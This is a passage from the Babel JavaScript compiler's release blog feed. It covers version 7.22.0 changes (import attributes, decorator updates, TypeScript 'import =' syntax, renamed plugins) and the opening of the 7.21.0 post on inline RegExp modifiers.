<p>You can also <a href="https://babeljs.io/repl#?browsers=defaults%2C%20not%20ie%2011%2C%20not%20ie_mob%2011&amp;build=&amp;builtIns=false&amp;corejs=3.21&amp;spec=false&amp;loose=false&amp;code_lz=N4KABGCuDOCWB2BzMAzWAbApgCQIbwBMswBeVDTaAT2gBdMBbAOgHsAHTeACgCImB6BlX5osTWgA9aPAJQBucGADuAJ1j0uonPiKYANGB7ZM6dCwCEshQF8QIUBFxLc6qHCRgCAI1JgnL2jAAEVxaXC9caEwmAGMWeHhMGNpefkEqAFpvJmgAR3QrRWzcyEwVKl4ASQA5AGUAUQAlABUwGuaAeTBaFhZ0aDAueFwGfTAANzK4eJkwADUAQQAZAFV62sGAcgAhcJNNg02AdiYAJlOmAAZNmULrIA&amp;debug=false&amp;forceAllTransforms=false&amp;modules=false&amp;shippedProposals=false&amp;circleciRepo=&amp;evaluate=false&amp;fileSize=false&amp;timeTravel=false&amp;sourceType=module&amp;lineWrap=true&amp;presets=react&amp;prettier=false&amp;targets=&amp;version=7.22.0&amp;externalPlugins=%40babel%2Fplugin-proposal-explicit-resource-management%407.20.0&amp;assumptions=%7B%7D" target="_blank" rel="noopener noreferrer">try out this proposal in our REPL</a>.</p>
<h3 class="anchor anchorWithStickyNavbar_JmGV" id="import-attributes-15536-15620">Import Attributes (<a href="https://github.com/babel/babel/pull/15536" target="_blank" rel="noopener noreferrer">#15536</a>, <a href="https://github.com/babel/babel/pull/15620" target="_blank" rel="noopener noreferrer">#15620</a>)<a href="https://babeljs.io/blog/2023/05/26/7.22.0#import-attributes-15536-15620" class="hash-link" aria-label="Direct link to import-attributes-15536-15620" title="Direct link to import-attributes-15536-15620">​</a></h3>
<p>The "import assertions" proposal's syntax changed to use the <code>with</code> keyword instead of <code>assert</code>, and it has also been renamed to "import attributes":</p>
<div class="language-js codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockTitle_x_ju">JavaScript</div><div class="codeBlockContent_D5yF"><pre tabindex="0" class="prism-code language-js codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token keyword module" style="color:#8959a8">import</span><span class="token plain"> </span><span class="token imports">json</span><span class="token plain"> </span><span class="token keyword module" style="color:#8959a8">from</span><span class="token plain"> </span><span class="token string" style="color:#718c00">"./foo.json"</span><span class="token plain"> </span><span class="token keyword" style="color:#8959a8">with</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"> </span><span class="token literal-property property">type</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:#718c00">"json"</span><span class="token plain"> </span><span class="token punctuation">}</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token keyword module" style="color:#8959a8">import</span><span class="token punctuation">(</span><span class="token string" style="color:#718c00">"./foo.json"</span><span class="token punctuation">,</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"> </span><span class="token keyword" style="color:#8959a8">with</span><span class="token operator">:</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"> </span><span class="token literal-property property">type</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:#718c00">"json"</span><span class="token plain"> </span><span class="token punctuation">}</span><span class="token plain"> </span><span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span><br></span></code></pre><div class="buttonGroup_aaMX"><button type="button" aria-label="Copy code to clipboard" title="Copy" class="clean-btn"><span class="copyButtonIcons_z5j7" aria-hidden="true"><svg viewBox="0 0 24 24" class="copyButtonIcon_FoOz"><path fill="currentColor" d="M19,21H8V7H19M19,5H8A2,2 0 0,0 6,7V21A2,2 0 0,0 8,23H19A2,2 0 0,0 21,21V7A2,2 0 0,0 19,5M16,1H4A2,2 0 0,0 2,3V17H4V3H16V1Z"></path></svg><svg viewBox="0 0 24 24" class="copyButtonSuccessIcon_L0B6"><path fill="currentColor" d="M21,7L9,19L3.5,13.5L4.91,12.09L9,16.17L19.59,5.59L21,7Z"></path></svg></span></button></div></div></div>
<p>We've implemented parsing support for this new version of the proposal, which can be enabled using the <code>@babel/plugin-syntax-import-attributes</code> plugin (or, if you are directly using <code>@babel/parser</code>, <code>importAttributes</code>):</p>
<div class="language-diff codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockTitle_x_ju">babel.config.json</div><div class="codeBlockContent_D5yF"><pre tabindex="0" class="prism-code language-diff codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token plain"> {</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">   "plugins": [</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">-    "@babel/syntax-import-assertions",</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">+    "@babel/syntax-import-attributes"</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">   ]</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"> }</span><br></span></code></pre><div class="buttonGroup_aaMX"><button type="button" aria-label="Copy code to clipboard" title="Copy" class="clean-btn"><span class="copyButtonIcons_z5j7" aria-hidden="true"><svg viewBox="0 0 24 24" class="copyButtonIcon_FoOz"><path fill="currentColor" d="M19,21H8V7H19M19,5H8A2,2 0 0,0 6,7V21A2,2 0 0,0 8,23H19A2,2 0 0,0 21,21V7A2,2 0 0,0 19,5M16,1H4A2,2 0 0,0 2,3V17H4V3H16V1Z"></path></svg><svg viewBox="0 0 24 24" class="copyButtonSuccessIcon_L0B6"><path fill="currentColor" d="M21,7L9,19L3.5,13.5L4.91,12.09L9,16.17L19.59,5.59L21,7Z"></path></svg></span></button></div></div></div>
<p>You can read more about the changes to the proposal in the <a href="https://docs.google.com/presentation/d/1Abdr54Iflz_4sah2_yX2qS3K09qDJGV84qIZ6pHAqIk/edit" target="_blank" rel="noopener noreferrer">slides presented at the March TC39 meeting</a>, and about the motivation in the <a href="https://docs.google.com/presentation/d/1HbWhyo4tSnpv4vMZqCa2YQvi_mKdpDi4JWWBtSUQqQY" target="_blank" rel="noopener noreferrer">slides presented at the January TC39 meeting</a>.</p>
<div class="theme-admonition theme-admonition-caution admonition_WCGJ alert alert--warning"><div class="admonitionHeading_GCBg"><span class="admonitionIcon_L39b"><svg viewBox="0 0 16 16"><path fill-rule="evenodd" d="M8.893 1.5c-.183-.31-.52-.5-.887-.5s-.703.19-.886.5L.138 13.499a.98.98 0 0 0 0 1.001c.193.31.53.501.886.501h13.964c.367 0 .704-.19.877-.5a1.03 1.03 0 0 0 .01-1.002L8.893 1.5zm.133 11.497H6.987v-2.003h2.039v2.003zm0-3.004H6.987V5.987h2.039v4.006z"></path></svg></span>caution</div><div class="admonitionContent_pbrs"><p><code>@babel/plugin-syntax-import-assertions</code> will continue working until we release Babel 8.0.0, but will no longer be maintained, so we highly recommended migrating to the new plugin.</p></div></div>
<p>To ease the migration from <code>with</code> to <code>assert</code>, if you run the Babel-compiled code only in tools and runtimes that support the legacy syntax but do not support yet the new one (such as Node.js 20 or Rollup 3.21), you can use the <code>@babel/plugin-proposal-import-attributes-to-assertions</code>:</p>
<div class="language-diff codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockTitle_x_ju">babel.config.json</div><div class="codeBlockContent_D5yF"><pre tabindex="0" class="prism-code language-diff codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token plain"> {</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">   "plugins": [</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">-    "@babel/syntax-import-assertions",</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">+    "@babel/plugin-proposal-import-attributes-to-assertions"</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">   ]</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"> }</span><br></span></code></pre><div class="buttonGroup_aaMX"><button type="button" aria-label="Copy code to clipboard" title="Copy" class="clean-btn"><span class="copyButtonIcons_z5j7" aria-hidden="true"><svg viewBox="0 0 24 24" class="copyButtonIcon_FoOz"><path fill="currentColor" d="M19,21H8V7H19M19,5H8A2,2 0 0,0 6,7V21A2,2 0 0,0 8,23H19A2,2 0 0,0 21,21V7A2,2 0 0,0 19,5M16,1H4A2,2 0 0,0 2,3V17H4V3H16V1Z"></path></svg><svg viewBox="0 0 24 24" class="copyButtonSuccessIcon_L0B6"><path fill="currentColor" d="M21,7L9,19L3.5,13.5L4.91,12.09L9,16.17L19.59,5.59L21,7Z"></path></svg></span></button></div></div></div>
<blockquote>
<p>🛑 Note that this plugin generates deprecated code that will not work in tools and runtimes only supporting the <code>with</code> syntax now described by the proposal.</p>
</blockquote>
<h3 class="anchor anchorWithStickyNavbar_JmGV" id="decorators-updates-15570">Decorators updates (<a href="https://github.com/babel/babel/pull/15570" target="_blank" rel="noopener noreferrer">#15570</a>)<a href="https://babeljs.io/blog/2023/05/26/7.22.0#decorators-updates-15570" class="hash-link" aria-label="Direct link to decorators-updates-15570" title="Direct link to decorators-updates-15570">​</a></h3>
<p>The TC39 committee received further feedback by JavaScript tools and engines implementing decorators, and refined the proposal, and designed <a href="https://github.com/tc39/proposal-decorators/issues/499" target="_blank" rel="noopener noreferrer">different changes and bugfixes</a> in response to it.</p>
<p>The relevant changes for Babel users are:</p>
<ul>
<li><code>accessor</code> static fields now work with derived classes:<!-- -->
<div class="language-js codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockTitle_x_ju">JavaScript</div><div class="codeBlockContent_D5yF"><pre tabindex="0" class="prism-code language-js codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token keyword" style="color:#8959a8">class</span><span class="token plain"> </span><span class="token class-name" style="color:#eab700">Base</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token keyword" style="color:#8959a8">static</span><span class="token plain"> accessor x </span><span class="token operator">=</span><span class="token plain"> </span><span class="token number" style="color:#f5871f">2</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token punctuation">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token keyword" style="color:#8959a8">class</span><span class="token plain"> </span><span class="token class-name" style="color:#eab700">Derived</span><span class="token plain"> </span><span class="token keyword" style="color:#8959a8">extends</span><span class="token plain"> </span><span class="token class-name" style="color:#eab700">Base</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token punctuation">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token maybe-class-name">Derived</span><span class="token punctuation">.</span><span class="token property-access">x</span><span class="token punctuation">;</span><span class="token plain"> </span><span class="token comment" style="color:#8e908c">// Used to throw, now returns `2`</span><br></span></code></pre><div class="buttonGroup_aaMX"><button type="button" aria-label="Copy code to clipboard" title="Copy" class="clean-btn"><span class="copyButtonIcons_z5j7" aria-hidden="true"><svg viewBox="0 0 24 24" class="copyButtonIcon_FoOz"><path fill="currentColor" d="M19,21H8V7H19M19,5H8A2,2 0 0,0 6,7V21A2,2 0 0,0 8,23H19A2,2 0 0,0 21,21V7A2,2 0 0,0 19,5M16,1H4A2,2 0 0,0 2,3V17H4V3H16V1Z"></path></svg><svg viewBox="0 0 24 24" class="copyButtonSuccessIcon_L0B6"><path fill="currentColor" d="M21,7L9,19L3.5,13.5L4.91,12.09L9,16.17L19.59,5.59L21,7Z"></path></svg></span></button></div></div></div>
</li>
<li>Decorators stored in object properties are now called using the object as <code>this</code> instead of <code>undefined</code>:<!-- -->
<div class="language-js codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockTitle_x_ju">JavaScript</div><div class="codeBlockContent_D5yF"><pre tabindex="0" class="prism-code language-js codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token keyword" style="color:#8959a8">let</span><span class="token plain"> </span><span class="token maybe-class-name">MyDecs</span><span class="token plain"> </span><span class="token operator">=</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token function" style="color:#4271ae">dec</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    </span><span class="token console class-name" style="color:#eab700">console</span><span class="token punctuation">.</span><span class="token method function property-access" style="color:#4271ae">log</span><span class="token punctuation">(</span><span class="token keyword" style="color:#8959a8">this</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token plain"> </span><span class="token comment" style="color:#8e908c">// Now logs `MyDecs` instead of `undefined`</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token punctuation">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token punctuation">}</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">@</span><span class="token maybe-class-name">MyDecs</span><span class="token punctuation">.</span><span class="token property-access">dec</span><span class="token plain"> </span><span class="token keyword" style="color:#8959a8">class</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token punctuation">}</span><br></span></code></pre><div class="buttonGroup_aaMX"><button type="button" aria-label="Copy code to clipboard" title="Copy" class="clean-btn"><span class="copyButtonIcons_z5j7" aria-hidden="true"><svg viewBox="0 0 24 24" class="copyButtonIcon_FoOz"><path fill="currentColor" d="M19,21H8V7H19M19,5H8A2,2 0 0,0 6,7V21A2,2 0 0,0 8,23H19A2,2 0 0,0 21,21V7A2,2 0 0,0 19,5M16,1H4A2,2 0 0,0 2,3V17H4V3H16V1Z"></path></svg><svg viewBox="0 0 24 24" class="copyButtonSuccessIcon_L0B6"><path fill="currentColor" d="M21,7L9,19L3.5,13.5L4.91,12.09L9,16.17L19.59,5.59L21,7Z"></path></svg></span></button></div></div></div>
</li>
</ul>
<p>You can use this new decorators version by passing the <code>version: "2023-05"</code> option to the decorators plugin:</p>
<div class="language-json codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockTitle_x_ju">babel.config.json</div><div class="codeBlockContent_D5yF"><pre tabindex="0" class="prism-code language-json codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token plain"> {</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">   "plugins": [</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">     ["@babel/plugin-proposal-decorators", {</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">       "version": "2023-05"</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">     }]</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">   ]</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"> }</span><br></span></code></pre><div class="buttonGroup_aaMX"><button type="button" aria-label="Copy code to clipboard" title="Copy" class="clean-btn"><span class="copyButtonIcons_z5j7" aria-hidden="true"><svg viewBox="0 0 24 24" class="copyButtonIcon_FoOz"><path fill="currentColor" d="M19,21H8V7H19M19,5H8A2,2 0 0,0 6,7V21A2,2 0 0,0 8,23H19A2,2 0 0,0 21,21V7A2,2 0 0,0 19,5M16,1H4A2,2 0 0,0 2,3V17H4V3H16V1Z"></path></svg><svg viewBox="0 0 24 24" class="copyButtonSuccessIcon_L0B6"><path fill="currentColor" d="M21,7L9,19L3.5,13.5L4.91,12.09L9,16.17L19.59,5.59L21,7Z"></path></svg></span></button></div></div></div>
<p>You can also try using the new version of the proposal <a href="https://babeljs.io/repl#?browsers=defaults%2C%20not%20ie%2011%2C%20not%20ie_mob%2011&amp;build=&amp;builtIns=false&amp;corejs=3.21&amp;spec=false&amp;loose=false&amp;code_lz=MYGwhgzhAEBCkFNoG8BQ1oQC5iwS2GjGGASgHsAnaAD2gF5oAmAblQF9VVRIYARBJTwA3BABNoCGlgQA7MTHgQkyTgKGixAOhpA&amp;debug=false&amp;forceAllTransforms=false&amp;modules=false&amp;shippedProposals=false&amp;circleciRepo=&amp;evaluate=false&amp;fileSize=false&amp;timeTravel=false&amp;sourceType=module&amp;lineWrap=true&amp;presets=react&amp;prettier=false&amp;targets=&amp;version=7.22.0&amp;externalPlugins=%40babel%2Fplugin-proposal-decorators%407.21.0&amp;assumptions=%7B%7D" target="_blank" rel="noopener noreferrer">in our REPL</a>, enabling the "Stage 3" preset and choosing the appropriate decorators version.</p>
<h3 class="anchor anchorWithStickyNavbar_JmGV" id="typescript-import---and-export--statements">TypeScript <code>import ... =</code> and <code>export =</code> statements<a href="https://babeljs.io/blog/2023/05/26/7.22.0#typescript-import---and-export--statements" class="hash-link" aria-label="Direct link to typescript-import---and-export--statements" title="Direct link to typescript-import---and-export--statements">​</a></h3>
<p>When using the TypeScript <a href="https://www.typescriptlang.org/tsconfig#verbatimModuleSyntax" target="_blank" rel="noopener noreferrer"><code>verbatimModuleSyntax</code></a> option, ESM <code>import</code>/<code>export</code> statements are disallowed in CommonJS files. Instead, developers must use the <code>import ... =</code> and <code>export =</code> statements:</p>
<div class="language-ts codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockTitle_x_ju">TypeScript</div><div class="codeBlockContent_D5yF"><pre tabindex="0" class="prism-code language-ts codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token keyword" style="color:#8959a8">import</span><span class="token plain"> </span><span class="token constant" style="color:#f5871f">A</span><span class="token plain"> </span><span class="token operator">=</span><span class="token plain"> </span><span class="token keyword" style="color:#8959a8">require</span><span class="token punctuation">(</span><span class="token string" style="color:#718c00">"./a"</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token keyword" style="color:#8959a8">export</span><span class="token plain"> </span><span class="token operator">=</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"> x</span><span class="token operator">:</span><span class="token plain"> </span><span class="token number" style="color:#f5871f">2</span><span class="token plain"> </span><span class="token punctuation">}</span><span class="token punctuation">;</span><br></span></code></pre><div class="buttonGroup_aaMX"><button type="button" aria-label="Copy code to clipboard" title="Copy" class="clean-btn"><span class="copyButtonIcons_z5j7" aria-hidden="true"><svg viewBox="0 0 24 24" class="copyButtonIcon_FoOz"><path fill="currentColor" d="M19,21H8V7H19M19,5H8A2,2 0 0,0 6,7V21A2,2 0 0,0 8,23H19A2,2 0 0,0 21,21V7A2,2 0 0,0 19,5M16,1H4A2,2 0 0,0 2,3V17H4V3H16V1Z"></path></svg><svg viewBox="0 0 24 24" class="copyButtonSuccessIcon_L0B6"><path fill="currentColor" d="M21,7L9,19L3.5,13.5L4.91,12.09L9,16.17L19.59,5.59L21,7Z"></path></svg></span></button></div></div></div>
<p>which desugar to:</p>
<div class="language-js codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockTitle_x_ju">JavaScript</div><div class="codeBlockContent_D5yF"><pre tabindex="0" class="prism-code language-js codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token keyword" style="color:#8959a8">const</span><span class="token plain"> </span><span class="token constant" style="color:#f5871f">A</span><span class="token plain"> </span><span class="token operator">=</span><span class="token plain"> </span><span class="token function" style="color:#4271ae">require</span><span class="token punctuation">(</span><span class="token string" style="color:#718c00">"./a"</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">module</span><span class="token punctuation">.</span><span class="token property-access">exports</span><span class="token plain"> </span><span class="token operator">=</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"> </span><span class="token literal-property property">x</span><span class="token operator">:</span><span class="token plain"> </span><span class="token number" style="color:#f5871f">2</span><span class="token plain"> </span><span class="token punctuation">}</span><span class="token punctuation">;</span><br></span></code></pre><div class="buttonGroup_aaMX"><button type="button" aria-label="Copy code to clipboard" title="Copy" class="clean-btn"><span class="copyButtonIcons_z5j7" aria-hidden="true"><svg viewBox="0 0 24 24" class="copyButtonIcon_FoOz"><path fill="currentColor" d="M19,21H8V7H19M19,5H8A2,2 0 0,0 6,7V21A2,2 0 0,0 8,23H19A2,2 0 0,0 21,21V7A2,2 0 0,0 19,5M16,1H4A2,2 0 0,0 2,3V17H4V3H16V1Z"></path></svg><svg viewBox="0 0 24 24" class="copyButtonSuccessIcon_L0B6"><path fill="currentColor" d="M21,7L9,19L3.5,13.5L4.91,12.09L9,16.17L19.59,5.59L21,7Z"></path></svg></span></button></div></div></div>
<p>This syntax is only supported in ECMAScript modules, and only when compiling them to CommonJS. Unless you have some custom configuration, this means:</p>
<ul>
<li>in <code>.cts</code> files, when using <code>@babel/preset-typescript</code></li>
<li>in <code>.ts</code> files written as ESM and compiled with <code>@babel/plugin-transform-modules-commonjs</code></li>
</ul>
<h3 class="anchor anchorWithStickyNavbar_JmGV" id="renamed-packages">Renamed packages<a href="https://babeljs.io/blog/2023/05/26/7.22.0#renamed-packages" class="hash-link" aria-label="Direct link to Renamed packages" title="Direct link to Renamed packages">​</a></h3>
<p>From now on, we will rename <code>-proposal-</code> plugins to <code>-transform-</code> once they reach Stage 4 in the <a href="https://tc39.es/process-document/" target="_blank" rel="noopener noreferrer">standardization process</a> and thus become stable. The following packages have been renamed:</p>
<table><thead><tr><th style="text-align:center">Old name</th><th style="text-align:center">New name</th><th style="text-align:center">ECMAScript version</th></tr></thead><tbody><tr><td style="text-align:center"><code>@babel/plugin-proposal-unicode-sets-regex</code></td><td style="text-align:center"><code>@babel/plugin-transform-unicode-sets-regex</code></td><td style="text-align:center">ES2024</td></tr><tr><td style="text-align:center"><code>@babel/plugin-proposal-class-static-block</code></td><td style="text-align:center"><code>@babel/plugin-transform-class-static-block</code></td><td style="text-align:center">ES2022</td></tr><tr><td style="text-align:center"><code>@babel/plugin-proposal-private-property-in-object</code></td><td style="text-align:center"><code>@babel/plugin-transform-private-property-in-object</code></td><td style="text-align:center">ES2022</td></tr><tr><td style="text-align:center"><code>@babel/plugin-proposal-class-properties</code></td><td style="text-align:center"><code>@babel/plugin-transform-class-properties</code></td><td style="text-align:center">ES2022</td></tr><tr><td style="text-align:center"><code>@babel/plugin-proposal-private-methods</code></td><td style="text-align:center"><code>@babel/plugin-transform-private-methods</code></td><td style="text-align:center"></td></tr><tr><td style="text-align:center"><code>@babel/plugin-proposal-numeric-separator</code></td><td style="text-align:center"><code>@babel/plugin-transform-numeric-separator</code></td><td style="text-align:center">ES2021</td></tr><tr><td style="text-align:center"><code>@babel/plugin-proposal-logical-assignment-operators</code></td><td style="text-align:center"><code>@babel/plugin-transform-logical-assignment-operators</code></td><td style="text-align:center">ES2021</td></tr><tr><td style="text-align:center"><code>@babel/plugin-proposal-nullish-coalescing-operator</code></td><td style="text-align:center"><code>@babel/plugin-transform-nullish-coalescing-operator</code></td><td style="text-align:center">ES2020</td></tr><tr><td style="text-align:center"><code>@babel/plugin-proposal-optional-chaining</code></td><td style="text-align:center"><code>@babel/plugin-transform-optional-chaining</code></td><td style="text-align:center">ES2020</td></tr><tr><td style="text-align:center"><code>@babel/plugin-proposal-export-namespace-from</code></td><td style="text-align:center"><code>@babel/plugin-transform-export-namespace-from</code></td><td style="text-align:center">ES2020</td></tr><tr><td style="text-align:center"><code>@babel/plugin-proposal-json-strings</code></td><td style="text-align:center"><code>@babel/plugin-transform-json-strings</code></td><td style="text-align:center">ES2019</td></tr><tr><td style="text-align:center"><code>@babel/plugin-proposal-optional-catch-binding</code></td><td style="text-align:center"><code>@babel/plugin-transform-optional-catch-binding</code></td><td style="text-align:center">ES2019</td></tr><tr><td style="text-align:center"><code>@babel/plugin-proposal-async-generator-functions</code></td><td style="text-align:center"><code>@babel/plugin-transform-async-generator-functions</code></td><td style="text-align:center">ES2018</td></tr><tr><td style="text-align:center"><code>@babel/plugin-proposal-object-rest-spread</code></td><td style="text-align:center"><code>@babel/plugin-transform-object-rest-spread</code></td><td style="text-align:center">ES2018</td></tr><tr><td style="text-align:center"><code>@babel/plugin-proposal-unicode-property-regex</code></td><td style="text-align:center"><code>@babel/plugin-transform-unicode-property-regex</code></td><td style="text-align:center">ES2018</td></tr></tbody></table>
<p>These plugins are all included by default in <code>@babel/preset-env</code>: if you are using the preset, you don't need to explicitly list them in your configuration and thus this change will not affect you. The packages with the old name will no longer be updated.</p>]]></content>
        <author>
            <name>Babel Team</name>
            <uri>https://twitter.com/babeljs</uri>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[7.21.0 Released: Inline RegExp modifiers, TypeScript 5.0, and Decorators updates]]></title>
        <id>https://babeljs.io/blog/2023/02/20/7.21.0</id>
        <link href="https://babeljs.io/blog/2023/02/20/7.21.0"/>
        <updated>2023-02-20T00:00:00.000Z</updated>
        <summary type="html"><![CDATA[We just published Babel 7.21.0!]]></summary>
        <content type="html"><![CDATA[<p>We just published Babel 7.21.0!</p>
<p>Babel now supports the <a href="https://github.com/tc39/proposal-regexp-modifiers" target="_blank" rel="noopener noreferrer">Inline RegExp modifiers</a> proposal, the latest version of the <a href="https://github.com/tc39/proposal-decorators/" target="_blank" rel="noopener noreferrer">Decorators</a> proposal, and the new <a href="https://devblogs.microsoft.com/typescript/announcing-typescript-5-0/" target="_blank" rel="noopener noreferrer">TypeScript 5.0</a> syntax.</p>
<p>You can read the whole changelog <a href="https://github.com/babel/babel/releases/tag/v7.21.0" target="_blank" rel="noopener noreferrer">on GitHub</a>.</p>
<p>If you or your company want to support Babel and the evolution of JavaScript, but aren't sure how, you can donate to us on our <a href="https://github.com/babel/babel?sponsor=1" target="_blank" rel="noopener noreferrer">Open Collective</a> and, better yet, work with us on the implementation of <a href="https://github.com/babel/proposals" target="_blank" rel="noopener noreferrer">new ECMAScript proposals</a> directly! As a volunteer-driven project, we rely on the community's support to fund our efforts in supporting the wide range of JavaScript users. Reach out at <a href="mailto:team@babeljs.io" target="_blank" rel="noopener noreferrer">team@babeljs.io</a> if you'd like to discuss more!</p>
<h2 class="anchor anchorWithStickyNavbar_JmGV" id="highlights">Highlights<a href="https://babeljs.io/blog/2023/02/20/7.21.0#highlights" class="hash-link" aria-label="Direct link to Highlights" title="Direct link to Highlights">​</a></h2>
<h3 class="anchor anchorWithStickyNavbar_JmGV" id="inline-regexp-modifiers">Inline RegExp modifiers<a href="https://babeljs.io/blog/2023/02/20/7.21.0#inline-regexp-modifiers" class="hash-link" aria-label="Direct link to Inline RegExp modifiers" title="Direct link to Inline RegExp modifiers">​</a></h3>
<p>The <a href="https://github.com/tc39/proposal-regexp-modifiers" target="_blank" rel="noopener noreferrer">Inline RegExp modifiers</a> Stage 3 proposal allows you to enable or disable the <code>i</code>, <code>m</code> and <code>s</code> for <em>part</em> of a regular expression, without affecting other parts.</p>
<p>You can use the <code>(?enableFlags:subPattern)</code> syntax to enable flags, <code>(?-disableFlags:subPattern)</code> to disable them, and <code>(?enableFlags-disableFlags:subPattern)</code> to enable some and disable others at the same time. You can think of non-capturing group <code>(?:subPattern)</code> as a special case where no flags are modified.</p>
<p>As an example, <code>/(?i:a)a/</code> matches an <code>a</code> ignoring its case, followed by a lowercase <code>a</code>:</p>
<div class="language-js codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockTitle_x_ju">JavaScript</div><div class="codeBlockContent_D5yF"><pre tabindex="0" class="prism-code language-js codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token regex regex-delimiter" style="color:#3e999f">/</span><span class="token regex regex-source language-regex group punctuation" style="color:#3e999f">(?i:</span><span class="token regex regex-source language-regex" style="color:#3e999f">a</span><span class="token regex regex-source language-regex group punctuation" style="color:#3e999f">)</span><span class="token regex regex-source language-regex" style="color:#3e999f">a</span><span class="token regex regex-delimiter" style="color:#3e999f">/</span><span class="token punctuation">.</span><span class="token method function property-access" style="color:#4271ae">test</span><span class="token punctuation">(</span><span class="token string" 